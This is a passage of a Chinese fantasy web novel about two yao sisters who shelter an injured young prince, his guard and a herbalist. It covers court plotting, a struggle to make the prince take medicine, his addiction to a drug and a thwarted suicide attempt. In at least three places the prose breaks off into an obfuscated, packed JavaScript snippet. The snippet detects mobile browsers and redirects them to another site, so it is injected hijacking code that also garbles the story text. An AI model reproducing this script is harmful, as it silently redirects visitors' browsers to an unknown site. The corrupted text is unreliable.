期间青崖拿着长山新写的单子又出去采了一次药。初春二月正在生长的植物不多,不过长山所列的清单里恰好都是冬末春初这个时节能找到的普通草药或仙草植物。 忙过中午,青崖与裴浩一起熬药时,裴浩的视线扫过空空如也的厨房,她才想起他们几个人还饿着肚子,而她的厨房里一粒米一片菜叶也没有。 她与红鸾每日修炼,吸收天地灵气即可,无须吃凡人饭食。现在,她必须假装自己是普通凡人。 “对了,你继续熬药,我得去我姐姐那里带饭回来。”青崖站起身对裴浩解释,“我平日都是到我姐姐那里去吃饭,所以自己家里一点吃的都没有。” “麻烦姑娘了,”裴浩从怀中摸出一个精致锦囊,锦囊里传出金属碰撞的哗啦脆响,他从中取出五片灿黄色金羽,“阿远公子和我大约需要在此叨扰几日,这点心意,请姑娘收下。” “哦,好。”青崖浑不在意地收下金羽,“需要什么尽管告诉我。嗯——荒郊野外不一定什么都有,但若真的需要,我会尽量给你们弄来。另外,还有一件要紧事,你得如实告诉我。” 裴浩道:“姑娘请讲。” 青崖问:“你是自己一个人救出阿远公子的吗?” 真正想问的是他与阿远是怎么穿过结界的,但这问题不能直接问,万一他真是误打误撞进来,根本不知道什么是“结界”,她先问了,就等于提示他自己是会“妖法”的妖,因此只能旁敲侧击地问。 “不是,我还有几个同伴,”裴浩道,“不过他们为了掩护我和阿远公子,吸引追兵往其他方向去了,他们现在在哪里情况如何我也不清楚。” “那你是怎么找到那个山洞的?我是说,有没有人指路或带你们到那个山洞去?” 裴浩偏头仔细了一下,道:“这……其实,昨晚我带着阿远公子兜兜转转逃了一路,没有睡觉,又受了伤,确实有段时间意识模糊,虽然在走,却感觉周围黑漆漆的,自己在哪里走过都记不太清,好像还有一段时间完全不知道自己在做什么,等意识清醒时,就已在那个山洞附近了。” 青崖点头沉思,现在想来,她去采药的路上遇到的那一缕灵气波动,似乎是故意引她去发现陵王与裴浩一样。 “好,我知道了,就是想确定没有别人闯进我和姐姐隐居的地方。”青崖告别裴浩与长山,走出一段距离,将要拐弯时偶一回头,看到裴浩拿着他装有金羽的锦囊,向长山走去,应当是想用金羽酬谢长山,但愿他不要碰钉子。 不过隐隐预感,裴浩大概还是会碰钉子,长山看起来自有风骨,不像会为金银折腰的人。 *** 走向红鸾的住处,远远就闻到一股烤鸡的味道。 红鸾坐在院子里,面前摆着一个长方形绣架,正手拿针线往绣架撑开的布料上绣花。 “姐姐!”青崖呼唤一声,直往厨房奔去,厨房的锅里,米粥咕嘟咕嘟冒泡,旁边灶台上的盘子里摆放着一只烤得金黄喷香的烤鸡。一个穿着褐袍的人坐在灶前烧火,那人长相平平,叫人过目即忘,就连性别也难以区分。他双目无神,动作有一些僵硬,对于青崖的到来毫无反应。 “多谢你啦!”知道那人听不懂,也不会回应,青崖说完就雀跃地回到屋前,从背后搂住红鸾的脖子道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那几个人……也不能太快打发走,我都收了他们的钱啦。”青崖拿出十片金羽,展示给红鸾看,其中五片是裴浩给的,另外五片是她自己加进去的,“你看,救一个小皇子也是有好处的,平时路过的普通百姓别说金羽,连银羽也拿不出来呢。” 红鸾瞟了一眼金羽,“这种东西咱们多的是,谁稀罕他们的。” “你平日不总是说金银珠宝越多越好的吗?”青崖站起身,“我收下,就算你收下了,不要再随便赶人了嘛,他们几个都带着伤,尤其是那个阿远公子,让他们留下养伤吧。” 红鸾不置可否,重新拿起针线,随着她双手上下飞舞,丝线也上下游走,将绣布上的一片绿叶渐渐填满。 “那我可把你收下的钱放到你的宝箱里啦。”青崖愉悦地走入红鸾的卧房,在卧房里有两个同样大小的雕漆木箱上下靠墙叠放,高度与窗沿平齐,她打开上面的木箱,将十片金羽丢进去,在那里面金灿灿满当当,一箱子都是金羽。 “我得去给他们送饭,”青崖隔窗对红鸾喊道,“你不让我单独行动,那你要一起去吗?” “真是麻烦,”红鸾丢下手里的针线,不情不愿道:“一起去。” 9. 虽有兄弟,不如友生3 锅里的米粥已熬至粘稠,红鸾一握拳灭了火,指尖凝聚一股灵气弹向灶前双目无神的褐衣人,霎时,人影消失,屋前多了一棵老槐树。 青崖望着多出的槐树,道:“姐姐,可不可以……” “不可以,”红鸾猜到她的心思,斩钉截铁地拒绝,“这槐树虽有灵根,但还没开灵智,只能靠点灵术暂时化出虚假人形,本质还是一棵树,不是真的人,没法和人正常交流,相处片刻外人就会察觉他的异样。” “可是反正送走他们的时候会给他们喝‘忘尘酒’,喝完酒睡一觉他们就会把这里的事都忘了,我们有必要这么小心吗?” “忘尘酒”是红鸾用仙草灵果自己酿造的酒,每个青崖请来作客的人离去时,红鸾都会让他们喝下一杯这种酒。 “那酒是让他们在一段时间内混淆现实与梦境,从而让他们离开之后以为在此处的所见所闻是一场大梦,”红鸾道,“并不是真的让他们完全丧失记忆,我们该小心还是小心,那种把梦当真的癫公也不是没有,最好别让他们留下什么与妖相关的特殊记忆,这样才好让他们把这里的事真当一场梦给忘掉。” “好吧。”青崖遗憾道。本想借这槐树精做劳力帮那三个伤患做点简单力气活,比如捣药、磨药、打水之类的。她自己不会点灵术,红鸾又不允许,只好作罢。 她用一段粗麻绳将盛满粥的砂锅吊着拎在手中,把烤好的鸡与两样素菜装进食盒递给红鸾,红鸾嫌弃地接过去,如同接过的是一盒污染她双手和华服的烂泥,皱眉道:“明日之后的饭菜,给他们食材叫他们自己做。” “没问题,明天之后绝对不让他们再麻烦姐姐。”青崖满口答应,忍俊不禁地瞧着红鸾一手拎着华丽绸缎大袖,一手拎着食盒的模样,问道:“我去采药的时候,你从长山那里问出什么了?他舅舅那伙人为什么会劫持皇子?” 红鸾道:“皇帝派两个皇子来监军,其中一个是你救的陵王,另外一个是平王,陵王的哥哥。平王为了独占军功争夺储位,跟山匪——也就是长山舅舅他们那伙人——勾结计划杀死陵王。 “平王答应山匪,只要杀死陵王,他就将他们招安,纳为己用。山匪得手后觉得是个大成就,想带劫来的陵王回到匪窝炫耀一番再取他性命,谁料一回山寨就发现官兵大举进攻,留守山寨的人几乎无一幸存,他们由于回去的晚,当时才逃过一劫。 “然后就是咱们昨晚见到局面,残留的山匪带着劫来的陵王躲避平王的追杀,他们虽然还没杀皇子,可是劫走皇子的罪名已被平王扣在他们头上,他们家园被毁,又没有能证明平王指挥他们杀人的证据,生路完全被堵死,难怪都冲那劫来的小皇子撒气。” 青崖花了一会儿功夫理清思路,“平王要杀陵王?哥哥要杀亲生弟弟?为什么?” 红鸾道:“早跟你说过皇族的人都心狠手辣,造谣说妖吃人,实际上他们自己才吃人不吐骨头,哥哥杀弟弟算什么,父子相残也是常事。” 青崖像吞下了一块骨头,无法消化这事实。不过反正京城、皇室都远在千里之外,她只关心眼前能看到的人。 “听起来阿远确实是无辜受难,”她得出满意结论,“你怎么不等我回来再问话长山?我可以用辨言天赋确认一下他说的是真话还是假话呀?” 红鸾道:“活得久了靠经验也能分辨真假话。” “经验哪有我的天赋技能可信!” 若不多强调一下,岂不是说她辨谎的能力无足轻重?那可不行,已然灵力不如姐姐,不能处处不如姐姐。 她又问道:“长山参与他舅舅的计划了吗?” 红鸾瞥了她一眼道:“据他自己说他是不知道的,他外出采药正好躲过官兵围剿他们的山寨,在周边碰到他舅舅带陵王返回,双方互通信息后,一起开始逃亡。” 青崖松了口气:“我就知道长山肯定不会跟着他们做歹事。” 红鸾冷笑:“他既待在土匪窝里,又能是什么好人?” “他不是歹人!”青崖将长山父母故去的情况给红鸾复述一遍,倔强辩解:“长山说的,都是真话。他是有苦衷,才会迫不得已投奔舅舅与山匪为伍的。” 两人交谈间,已接近青崖的屋舍,红鸾没有再开口反驳,面无表情地走到木屋前,将食盒重重放在屋前木阶上,发出咚的一声巨响。 屋子周围萦绕着浓重而复杂的草药味,阿远仍在屋里昏迷不醒,长山裴浩听到动静一齐到门口迎接,身上各有几处敷着药或缠着绷带的地方,红鸾睨了他们一眼,侧过身,扬着下巴问:“你们恢复好了吗?什么时候走?” 正欠身行礼的两人猝不及防听到这直白赶客的话,都露出一丝窘态。 青崖对此习以为常,笑眯眯将食盒砂锅递到两人手中,把他们往屋子里面推,“我姐姐喝酒喝多了脑子糊涂常说胡话,你们别在意。其实她很好心地给你们做了饭菜呢,你们快尝尝。” 吃饭时,红鸾没再说什么令人为难的话,但仅仅是坐在桌边,她的绸缎红服、金簪发饰、宝石耳坠、绝世容颜,无一不散发出盛气凌人的气势,笼罩着整间屋子。 青崖换下刺客般的夜行黑衣后,穿的是一身淡竹青色小袖窄裙,黑发以木簪与一根纤细绿藤束起,自觉这下穿得一定像个好人家姑娘,且好得很成功,长山和裴浩落座时都不由自主地靠近她而远离红鸾。 她发间那根绿藤像从某种刚发芽的藤蔓植物上截取下来的,上有指甲大小的三角形叶片。此前长山就曾好奇打量过那根细藤,这时终于得闲,在她弯腰递碗时问道:“青崖姑娘,你头上这根细藤是什么植物?在下自认能辨百草,这样的藤蔓我却从未见过。” “哦,这个呀。”青崖抬手,指尖穿过黑发,轻轻抚过细藤,那是她父亲留给她的护身灵物,据说危急时刻可以救命,还没发挥过作用,父亲也没来得及说明怎么用,她一直当作发饰随身佩戴。 “这是一种罕见仙草,不知该叫什么名字。我偶然捡到,见它好看且不会枯萎,就一直带着啦。” 长山追问:“它生长于何处?全株样貌如何?可会开花结果?这附近可有?若有的话,我想仔细瞧瞧。” 一个熟知百草的人见到不认识的植物,难免想深入了解一番,以他药师的习惯,可能还想试试是否有什么特殊功效,药用价值。 可这是父亲临终之前以全部灵力催生的 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裴浩洗掉了脸上的血污,露出坚毅俊朗的脸庞,举手投足间透出年轻武人特有的血气方刚之感,他大口吃饭,大口吃肉,长山则斯斯文文,细嚼慢咽,一派雅士风度,两人坐在一起,一文一武,对比格外鲜明。 青崖回味红鸾告诉她的情况,好奇打探道:“此地虽然前两年流匪成患,但我听说新来管理此地的将军剿匪很是成功,几乎行军到哪,哪里就变得太平,百姓人人夸赞。皇帝还有什么必要派两个皇子来监军呢?” 她虽住得与世隔绝,其实每二三个月,就忍不住要去附近村镇里游玩一回,两三年前,时常会遇到贼寇打家劫舍,拦路抢劫,这二年渐渐好转,她与外人闲聊,东莱国人但凡提及那位将军,都有说不尽的感激之情。 裴浩谨慎地斟字酌句解释:“皇帝陛下的命令是抓获土匪,格杀勿论。将军反复上奏,恳请平匪以招安为主,陛下大为不悦,所以派平王与陵王来说服将军。” 听到这里,长山不易察觉地冷笑一声,动静几乎微不可闻,裴浩还是注意到了,不悦地扫了他一眼。 自从来青崖家后,裴浩除了询问陵王伤情,就没怎么与长山交流过。 他们一个对皇室怀有仇恨,一个对山匪心存芥蒂。此时两人看在青崖的面子上勉强同桌吃饭,实际却恨不得都看不到对方,眼不见为净。 裴浩见长山尽心医治陵王,本有放下偏见与他友好相处的打算,但长山对待青崖时温良谦让,对待他时傲慢刻薄,毫不掩饰敌意,拿金羽谢他,反被他阴阳怪气嘲弄一番,说什么皇子的命果然比常人金贵,用药自由可以不顾王法。自那之后,裴浩也不再试图讨好,勉强叫他‘长山先生’已算客气。 “我说,”青崖放下碗道,“你们两个中间应该是有些误会,大家都逃命至此,也算有缘,以后还要相处一段时日,有什么矛盾,能化解最好。” 她很想帮长山向裴浩解释为什么他会与虐待阿远的山匪为伍,但见长山察觉她的意图,轻轻对她摇了一下头,只好打消这个念头,转问裴浩:“昨日那些剿匪的官兵是怎么回事?我一开始以为他们是来救阿远的,后来又觉得不像。你怎么救走阿远后孤零零落了单,躲在山洞里是躲山匪还是躲那群官兵?” 10. 虽有兄弟,不如友生4 裴浩闻言,面色一沉,长山则讥讽道:“裴侍卫,你应当也看明白了,围剿我们这群流民的,和追杀你家陵王的,是同一方势力。我本就怀疑,如果没有内应,堂堂皇子怎会那么容易被我舅舅带的那点人劫获。你之所以不敢把陵王带回原处,恐怕也是这个缘由吧?这人表面上是不小心与陵王走散,实际上是配合流民截杀陵王。他勾结流民杀害陵王,再请命追杀流民,若是成了,陵王之死扣在流民头上,而流民被尽数斩杀,其中究竟有什么曲折,根本死无对证,还可以借护卫不力的理由处罚本地将军,帮皇帝解决心头忧患,实是一箭双雕之计;若是没成,那人恐怕还有后招,陵王回去,若先被自己人发现还好,若叫平王的人先发现,恐又凶多吉少。” 裴浩放下几乎将要被他捏断的筷子,审视长山:“那么敢问,劫持陵王的计划,先生您知道多少?又参与了多少?” “在见到陵王之前,我一无所知,”长山放下碗筷,坦然而坐,“信不信随你。” 青崖道:“也就是说,平王故意设计杀害阿远,还要让山匪和剿匪有功的将军顶罪,是这样吗?你之前把我当作刺客,是当成了平王派来刺杀阿远的刺客?” 一直保持静默的红鸾“啪”地一声将碗重重砸在桌上,一脸霜寒之意,“好了,外面的事少打听!” 青崖扒拉着碗中菜叶,讪讪不语。 姐姐的声音在别人听来一直都是冷冷的,只有她从小熟悉,总能听出冰冷语气背后的微妙差别,有时是真的冰冷,有时只是慵懒的无谓,这句话的语气就是前者,这语气意味着如果她再继续打听皇室的事,姐姐就真要动怒了。 红鸾用带有压迫的目光扫过长山与裴浩,“你们在外面的是是非非我们不想知道,不过是看你们重伤在身,权且收留,等你们伤愈之后立刻该回哪里便回哪里,不要把外面的纷争带到这里。” 长山与裴浩本就受恩于她们姐妹二人,面对红鸾的疾言厉色,都恭敬地表示遵从。青崖在一边打圆场岔开话题说些不重要的话,中和有些紧张的气氛,一顿饭总算应付过去。 当晚,青崖安排外来三人在她木屋里住宿,木屋有上下两层,两个书房、两个卧房都可以容人休息,她自己则去与红鸾同住。 第二日天还没亮,青崖就起床去附近村中采购食材和衣物。 也许因为心中烦躁,红鸾半夜辗转反侧,子时才睡着,睡了两个时辰就被迫起床,一路上眼神怨念地几乎要杀人。青崖也不想这样劳烦姐姐,但姐姐坚信正有不怀好意之人潜伏在附近,一定不许她单独出门。 对于裴浩与阿远是怎么穿过结界的,还有引她去山洞的那股灵流是怎么一回事,青崖还没弄清楚。普通人无法制造灵流波动,那么难道是一个鸟妖?在她带长山逃出重围时曾有鸟干扰追兵帮助她顺利脱身。也因为这层关系,青崖对未知的那人有所好奇,也有所期待。 离群索居的日子太清静了,不符合少年人的脾性。姐姐希望平静安稳,她却希望能有什么事情发生。 凡人需行走一天的距离,她们半日就走了个来回,回到木屋时已过中午,红鸾困倦至极,丢下买回的东西直接到二楼的空卧房补充睡眠。 青崖去一楼卧房看望阿远时,长山与裴浩都在,他们围在阿远床边,均愁容满面。 床上不见人影,只有一团被子,那团被子紧靠墙壁簌簌而动,被子下面毫无疑问就是阿远。不知为何,他把自己蒙了起来,用被子裹得严严实实,一丝对外的缝隙也没有。 长山立于床侧,眉头紧锁,裴浩坐在床边,口中喊着“殿下”,一手端药碗,一手试图扯开被子,急得满头大汗。 屋里充斥着浓烈的药味,地上湿漉漉满是水渍。 “怎么回事?”青崖踩在满地水渍上问。 她一出声,床上如同被子精的那一团明显抖了一下,又缩小一圈,本已紧贴墙壁不能再退,他还是再次努力往墙壁靠拢,如果可以,青崖毫不怀疑他会钻到墙壁里面去。 “阿远公子拒绝喝药。”裴浩焦灼地朝地上一指,“药都被他打翻了。” 青崖用足尖拍了拍地面水渍,发出啪啪声响,看来被打翻的药少说也有五六碗。 “长山先生,阿远伤势怎样?他为什么不喝药?” 长山道:“按理说,他只需按时吃药正常饮食便能有所好转,但他从昨日第一次醒来就拒绝喝药,到现在水米未进,已发起烧来,这是伤口恶化的征兆,再不喝药,便有生命危险。” 青崖急走两步,想上前掀开被子看看小少年,问问他为什么要这样,但她脚步一响,阿远就朝床角瑟缩,用被子将自己裹得更紧,像一只受伤的小兽。 他在害怕。 青崖眼前闪过阿远被流民们捆绑着围在中间欺凌的场景,以及阿远瘦削的身体和遍布全身的伤痕,揪心地缩回了手, 需要再问他为什么要把自己藏起来吗?原因实在很明显。 可惜妖的灵力对凡人没有治愈效果,否则也不至于只能这样无力旁观。 她在床前走了一个来回,猛然停在裴浩面前,“既然必须得喝药,喝不下去硬灌也好啊!” 裴浩无奈道:“试过,可是他清醒的时候不许我们碰他,昏迷的时候又喂不下去药,我们也不知该怎么办,跟他说话他好像听不见一样,怎么劝都没用。” “他不许你们碰,你们就不碰他吗?这可是为了给他救命!”青崖道,“他现在是清醒的吧?” 长山与裴浩点头道:“是清醒的。” “好,”青崖撸起袖子,“昏迷的时候喂药喂不下去,那就清醒的时候喂。” 她取过裴浩手中的药碗,道:“他都这样了,能有多大力气反抗,多多少少总该能喂进去一些,肯定是你们不忍心硬灌。裴侍卫,你扶他起来,固定住他的头,长山先生,你按住他的手,别让他乱动,我来给他喂药。” 长山与裴浩的确是碍于身份不敢采取过于强硬的手段对待陵王,眼看陵王再不喝药恐有生命危险,也都听从青崖指挥。 裴浩不忍心地迟疑了片刻,还是一咬牙,狠心扯开阿远蒙头的被子,这本不需要费很大力气,可他做得十分艰难,因为他必须无视阿远虚弱的哭声与央求。 被子被揭开,阿远失去遮挡,躬身缩在床角,将脸埋在床上,双手抱头,口中不停地痛苦呢喃:“不要… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175880|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …不要……不要……”声音还是沙哑的。 一个十五岁的人竟可以把自己缩到如此之小,比那团被子小一大半,那么瘦弱单薄,仅身量而言,说他是个孩子的确名副其实,在他的衬托之下,一张床都显得空阔起来。 裴浩拧着眉抓住阿远的双肩,把他强行扶起,靠在自己身上,劝道:“殿下,求您把药喝了,喝了药伤才会好!” “不!放开我!放开我!”阿远大声惊叫起来,如濒死的鱼一样扑腾,双脚又蹬又踢,双手又推又挡,裴浩被撞得脑袋在床后墙上磕了几次,才勉强将他上半身固定。 见过各种各样病痛症状的长山也有些不知如何下手,为难道:“这样喂药恐怕不好。” 青崖催促:“不试试怎么知道,你快来帮忙按住他。” 长山执拗不过,小心地抓住阿远双手手腕,免得触碰到阿远掌心的贯穿伤口。裴浩得以腾出手固定住阿远的头部,阿远上半身再也动弹不得,口中呜烟,一双眼睛瞪大紧紧盯着青崖,眼里满是惶恐,就像青崖是要吃他血肉的怪物。 那眼神让青崖也开始怀疑自己这样做是否正确。 然箭在弦上不得不发,青崖心道:“这是为了他好。”伸出左手捏住阿远下颚迫使他张开嘴,右手把药碗送到他嘴边,怎知稍一用力,阿远突然睁大眼睛,不知哪来的力气猛然咬紧牙关,嘴巴紧闭,药碗还没碰到他,他就疯狂挣扎起来,明明是很虚弱的一个人,在拒绝喝药这件事上意外决绝有力,长山差点按不住他的手,青崖纵使眼疾手快,药还是泼洒出了大半碗。 或许是养尊处优惯了所以不爱喝药?阿远嘴唇干裂,喝药不成,若能喝水也好。 青崖换了一碗清水,改用勺子,然而依然撬不开阿远的嘴,若是使用蛮力,又怕阿远受伤,几轮折腾,阿远已上气不接下气,掌心伤口再度开裂渗出血来。青崖心力交瘁,药与水洒了满床满袖。 阿远的样子太痛苦了。 这样被禁锢的姿态,很像他被流民控制手脚,匕首钉穿手掌的瞬间,绝望痛苦的神情与那时一模一样。明明身边都是设法给他疗伤的人,他却仿佛面对的仍是一群不断折磨他、虐待他的暴徒。 阿远也许并没有完全清醒。 这个一念头闪过,青崖放下药碗,双手扶住阿远肩头,强迫他正视自己。 “阿远,公子,陵王殿下,你现在是安全的,请你冷静。”青崖深吸一口气,直直看入阿远的眼底,“相信我,我们是你的朋友,会帮助你,保护你。” 在把人从噩梦中唤醒这方面,青崖很有经验,因为红鸾就常常做噩梦。这种时候需要尽量用最轻柔的声音,最清晰的话语,让对方听懂自己的意思,回到当前的真实情景。 坚定的目光与惊恐的目光相对。 突然,阿远的瞳孔放大了一下,眼神变得空茫,恐惧烟消云散。那一刻,他的情绪似乎被清空了,如同那种红鸾用点灵术召唤出的假人。不过,这状态只维持了一瞬间,随着阿远眨眼,他的眼神恢复正常,仍带有些许不安,但不再像之前一样充满神经质的惊恐,身体也渐渐停止挣扎。 “朋……友……?”他茫然地呢喃。 11. 虽有兄弟,不如友生5 青崖心中升起一股怪异之感。唤醒姐姐时,并不会有瞳孔放大眼神空茫的过程,醒或没醒,都没有变成“假人”的一瞬间。 “呃……对,”青崖按下那股怪异感觉,专注安慰眼前的阿远,用手指点自己和另外两人,“我是青崖,想帮助你的人;这是裴浩,你的侍卫,他把你从流民和刺客手中救了出来;这是长山先生,可以给你治病疗伤的大夫。” 她挥手示意裴浩与长山松开阿远,阿远脱力靠在床头,打量四周环境,视线在三人身上扫过,认出了裴浩与长山,最后略带疑惑看向青崖,安静得和之前奋力挣扎的模样判若两人。 青崖道:“你伤得很重,需要喝药。” 这一次,她再端起药碗递到阿远面前时,阿远主动低头凑到碗边,一口气把半碗药得见底。 裴浩精神为之一振,长山也面露喜色:“这量不够,洒掉的太多了,我去再盛一碗来。” 药中有安神镇痛的成分,阿远喝完,在青崖与裴浩的共同安抚下,没多久就睡着了。 关上阿远卧房的门,二人长嘘一口气,一起到厨房寻找熬药的长山。 对于青崖来说,厨房的一切只是摆设,她从不做饭,锅碗器具之类,大多是图一时新鲜而从村镇买来的,还有一部分,是父母以前用过的。 此刻,厨房里所有台面上都堆放着可做药材的花、叶、果实、根茎,有的是长山包袱里的存货,有的是最近采集而来,个别昏暗角落,隐约可见新鲜的仙草类植物发出的微微荧光。 长山坐于一石墩上,手下是一堆开伞状花的仙草,他熟稔而耐心地把那植物的叶子、花伞、花茎一一分开,各自摆放在三个盘子里。 这任务一看就会,青崖与裴浩不约而同蹲下帮忙。 长山的一举一动和他熬制的汤药都带有一股能让人心平气和的感染力。他们刚目睹惊恐万状的阿远,正需要片刻安宁,谁也没有说话,一时间耳中只有汤药在砂锅里咕嘟咕嘟冒泡的声响。 青崖回忆方才唤醒阿远时,他变得像假人一样眼神空茫的奇怪瞬间,琢磨那是怎么一回事。 “抱歉。”长山头也没抬,突然吐出两个字。 刚松了一口气的裴浩和青崖面面相觑——大夫突然道歉,不是好兆头。 裴浩虽与长山不合,却很信任长山的医术。听到此言,一脸紧张道:“长山先生,殿下他……我是说,阿远公子……” “别误会,我不是那个意思。”长山打断裴浩,“此处有许多仙草灵药,他但凡能把药喝下去,我就有信心保他性命无虞。” 青崖问:“那你为什么道歉?” 长山目光垂落,看向自己手里的叶子,带了几分惭愧道:“陵王他……被我舅舅带人劫持后,流民中对朝廷官府有怨恨的人,有不少都拿他出气。他一直吃不好睡不好,遭受了许多虐待,甚至有人……强行喂他乱七八糟不是人吃的东西……” 青崖恍然大悟。难怪方才阿远对药碗那么恐惧,什么也不愿入口,原来他们三人竟在无意中重复了流民施加在他身上的暴行。 那阿远秀气矜贵,像脆弱的嫩竹。这番磨难便是一个身经百战的武人也难以承受,何况是由来锦衣玉食的少年皇子? “不是人吃的东西?!”裴浩摔下手中仙草猛然起身,双眼血丝骤然增多,开口便骂:“那帮禽兽!到底折磨了他多久?你那同伙还是人吗?怎么下得去手?!” 长山沉默不言,这沉默更引发让人恶寒的猜测。 裴浩咬牙切齿:“卑鄙无耻!殿下自小身体就不好,这伙暴民,合伙欺负一个手无寸铁的人,真是死有余辜!他们若没有伏诛,我也会亲自带人将他们千刀万剐!” “死有余辜?!”长山站起来怒视裴浩,“这些人谁不想安家乐业?!若非他们手无寸铁时被朝廷的严苛律法逼到走投无路,谁愿意做居无定所的流民?谁愿意冒死做劫匪?” 裴浩怒道:“他们走投无路,与陵王殿下有何干系!殿下之上有皇帝,有太子,还有数不尽的皇亲国戚!这世上没有比陵王殿下更无辜的人!为何要怪罪到他头上?” 长山:“无辜?百姓犯罪,尚有连坐之说,连坐甚至波及毫无血缘关系的邻居,百姓对皇室的怨气,又凭什么区分父子?” “你这是为你舅舅那伙人的暴行狡辩么?你也赞同他们的行为所以才跟他们是同党是不是?” “我真是有眼无珠,才会跟你道歉!” “你要是真觉抱歉,就把陵王给治好!” “我没治吗?我熬好了药,他自己不喝,我有什么办法?” “他不喝药还不是你们那伙人给害的?既然你们怪罪他时不区分父子亲人,那你舅舅的罪行你难道就能置身事外吗?” “好了!别吵!”青崖大喊一声,道:“我听见卧房那边有声音,好像是阿远公子醒了。” 裴浩闻言拔腿冲向阿远睡觉的房间,长山也想跟去,却被青崖横臂拦住,“你去做什么?” 长山特意平息了一下情绪,将语调调整平和才开口道:“我也得去看看,他若清醒,我好问诊,更能对症下药。” “坐下吧,你不用去,”青崖拽了一下长山的袖子,“那边什么动静也没有,我骗裴浩的。” 不找理由把他们中的一个支开,这架岂不是要吵个没完没了?最后打起来也说不定。裴浩是武人,而长山看起来连剑也没拿过,真打起来,绝对吃亏。 长山一怔,缓步坐回原位,歉然道:“实在失礼,投宿在姑娘家本就多有打扰,我不该与他争吵。” “是啊,你们吵也吵不出对错。我看到流民欺负阿远时,觉得流民可恶,但看到官兵屠杀流民时,又觉得流民可怜,官兵可恶。反正是分不清对错的,大概如同山中生灵,虎吃羊,羊吃草,强者生存,没有对错吧。” 长山缓缓坐回原地,“不,人的规则不应该是这样的。正因为人不茹毛饮血,恃强凌弱,才和野兽有所区别,就像姑娘救我,救我们,这种好心,是人才有的,若是只有豺狼虎豹在这山里,我们几人恐怕早就没命了。” 这一回,换成青崖想拍案而起,与他理论一番了,毕竟她与红鸾不是“人”。 她咬着牙,咽下这口气,捡起手边的干柴,扔到火堆里,嘟囔了一句:“那也未必。” 本以为长山必定会长篇大论地反驳,谁知他竟原地坐定,眼神平和地端详着她,似在认真琢磨这句“那也未必”背后的含义,令青崖一阵心慌。 青崖只得自圆其说道:“你的意思不就是说,只有人会推己及人,强不凌弱,众不暴寡?可是这山外面的人,有多少能做到这些?不然你们三人怎会落难?” 长山望着炉中火光,喟叹道:“是啊,外面的世道不是这样的……” 青崖见他变得消沉丧气,拾起一把仙草塞到他手里,道:“外面怎么样我不知道,但是在这里就我们几个。现在阿远是最虚弱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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裴浩一直守护在侧,及时伸手托住了阿远的脑袋,这才没让阿远碰得头破血流,而他自己的手背因为多次砸在墙上,早已一片青紫。 青崖有些害怕地在门口站定。 细细想来,小少年的秀美贵气仅限于初见时的惊鸿一瞥,那时,他的手还没被钉穿,她在众山匪中一眼望到他,就认定他是一个值得她冒险相救的好少年。 现在,自认能凭面相辨善恶的青崖,看到阿远五官扭曲狰狞,毫无半分初见时的清秀,心底一片惶然,第一次怀疑自己的判断可能是错的。 她把长山叫来询问:“不是说喝了药会好一点吗,怎么还这样,是不是止痛药不够?还是那种仙草叶子不管用了?” 长山走到阿远床边,又是先在阿远腕上号脉,然后在眉心号灵脉,良久,疑惑道:“我已增加过药量,为何还是如此?他的脉象与常人大不相同,平日可有其他病症?是否长期服用什么药物?” 裴浩支支吾吾,分明知道什么内情又不好说,青崖一巴掌拍在他的背上催促:“哎呀,有什么就快说,不然长山先生怎么对症下药!” 裴远这才沉声道:“殿下他……以往生病,需要的药量都比常人量大。以前给他看过病的大夫说,是因为他长期服用‘忘忧散’改变了体质。所以……长山先生,陵王用药,可能需得按寻常人的两倍甚至多倍才能有效。” “忘忧散?那是什么?”青崖从没听说过这种东西。 长山听到这三个字,脸色骤变,厌恶地瞪了阿远一眼,拂袖而起。 12. 采三秀兮于山间1 “忘忧散一两,价值堪比黄金,”长山阴沉着脸向青崖解释,“人食之可以飘飘然忘乎所以,由能够使人麻痹眩晕的多种仙草淬炼而成,久而久之食药成瘾,不吃就会头疼。 “那些药物若使用得当其实对部分疾病有优越的治疗功效,在民间极为珍贵,寻常百姓看病都用不起,甚至《禁药令》推行后百姓被禁止使用,达官贵人却用它们制成忘忧散,浪费大量珍贵药材去享乐! “我原以为,只有地方权贵如此荒唐无知,收天下仙草归为己用的皇室应知道这种东西的害处,没想到,他一个皇子,居然小小年纪就长期服用忘忧散。 “哈!皇帝沉迷于寻仙炼丹,皇子沉迷忘忧散,这样的天下……百姓苦矣。这皇子,不救也罢!” 长山情绪激动,言辞激烈,全然不顾自己与陵王、裴浩的身份差别。 床上的阿远忽然变得一动不动。青崖以为他又陷入昏迷,探头看去,只见阿远侧卧在床,眼睛大睁,空洞地瞪着虚空。他痛得浑身发抖,却不再呻吟或翻滚,宛如出于某种自我厌弃,下定决心要把所有痛苦无声地吞咽进自己体内。 一瞬间,他不再面目扭曲,又像一个良善无辜却受尽折磨的小少年了。 “没错,不必救我。”阿远忍痛从床上坐起,抖着声音道。他面如死灰,一伸手抽出裴浩的佩剑,手腕翻转,直接往脖子里抹去。裴浩大惊失色,他就在阿远旁边,动作却不及青崖迅速,剑光旋转小半圈,青崖闪身到床边劈手夺下阿远手中的剑。 阿远剑柄还没拿稳就被夺走,神情越发凄然。 “是我无能,我活在这世上毫无用处……让我去死……” 青崖收起剑道:“首先,你未必没用,其次,也并不是非要有什么用才能活着。” 裴浩按住阿远双手,生怕他再有自残作为。 